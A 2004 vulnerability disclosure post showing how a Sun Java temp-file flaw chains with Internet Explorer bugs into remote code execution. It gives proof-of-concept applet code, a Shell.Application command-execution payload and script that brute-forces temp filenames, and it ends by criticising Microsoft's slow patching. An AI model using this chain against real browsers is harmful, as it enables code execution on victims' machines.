|
INTRODUCTION
Actually I wasn't really sure if I ought to post this, but after some consideration I decided that it might serve as an example of the completely messed up state we find internet explorer in today.
There's a very minor issue with the way the sun java virtual machine creates temporary files from applets. IE blows it off the chart, combining this with some unresolved issues in IE can lead to remote code execution
DETAILS
A couple of days back Marc Schoenefeld posted an advisory
about an implementation flaw in the sun java virtual machine.
My partner in crime HTTP-EQUIV was investigating this report when he noticed that this demo created a temporary file in his temp folder called
+~JFxxxxx.tmp Where xxxxx is a random 5 digit number, He mailed me to say hey take a look at this I decompiled marcs class and noticed that the .tmp file being created contained the exact contents of the byte array that got passed to Font.createFont
Now If you can create a file on someone's disk drive and get your browser to render it, we've got our selves something
Ok creating an applet that creates the file on a users disk drive is trivial
import java.applet.Applet; import java.awt.Font; import java.net.URL; import netscape._javascript_.JSObject;
public class Jelmer extends Applet {
public void init() {
try { Font f = Font.createFont(Font.TRUETYPE_FONT, new URL(getParameter("infile")).openStream()); } catch(Exception ignored) {}
try { JSObject jsWin = JSObject.getWindow(this); jsWin.call("doneloading", new Object[]{});
} catch(Exception e) { e.printStackTrace(); } } }
This applet creates the file from the url it get's passed as a parameter and calls the _javascript_ function doneloading when it's done
We opt to store a file with these contents to the temp
<script language=JScript> o=new ActiveXObject('Shell.Application'); o.ShellExecute('cmd.exe','/c pause'); </script>
Http-equiv's jan 1 Shell.Application bug
http://www.securityfocus.com/archive/1/348688/2003-12-31/2004-01-06/0 Now we have to deal with the random filename, no problem, modern computers are pretty fast, and the random portion of the filename is only 5 digit's, Using an old bug (http://lists.netsys.com/pipermail/full-disclosure/2004-February/016881.html) to check for the existence of local files we can run thu every possibility in a couple of seconds like this
<script language="vbscript"> Function Exists(filename) On Error Resume Next LoadPicture(filename) Exists = Err.Number = 481 End Function </script>
<script language="JScript"> function doneloading() { dir = 'C:\\Documents and Settings\\USERNAME\\Local Settings\\Temp\\' for (i=0;i<100000;i++) { filename = '+~JF' + i + '.tmp' if (Exists(dir + filename)) { document.body.insertAdjacentHTML('afterBegin', '<iframe style="display:none;" src="" Settings\\Temp\\' + filename + '"></iframe>'); } } } </script>
Bang! We would have remote code execution, well at least if we'd know the username :) Well that's not an issue either (http://seclists.org/bugtraq/2004/Jun/0308.html)
It's the final ingredient we needed
DEMO
http://poc.homedns.org/execute.htm
I am aware that this demo will work for some and won't for others, I haven't been able to put my finger on it as to why this is, you don't have to mail me if it's not working for you
CONCLUSION
Shell.application bug : 7 months old Local fine enumeration bug : 6 months old zone spoofing bug : 1 months old Insecure by design : timeless
In reflection this week an issue was found with the mozilla web browser, it was dealt with within *2 DAYS*
first discussed FD mailing list: Wed, 7 Jul 2004 11:26:19 -0500 http://lists.netsys.com/pipermail/full-disclosure/2004-July/023573.html Followup 24 hours later onf FD mailing list: Thu, 8 Jul 2004 15:20:52 -0400 http://lists.netsys.com/pipermail/full-disclosure/2004-July/023639.html Mozzila Patch annoucement same day on FD:Thu, 8 Jul 2004 22:36:48 GMT http://lists.netsys.com/pipermail/full-disclosure/2004-July/023645.html
|
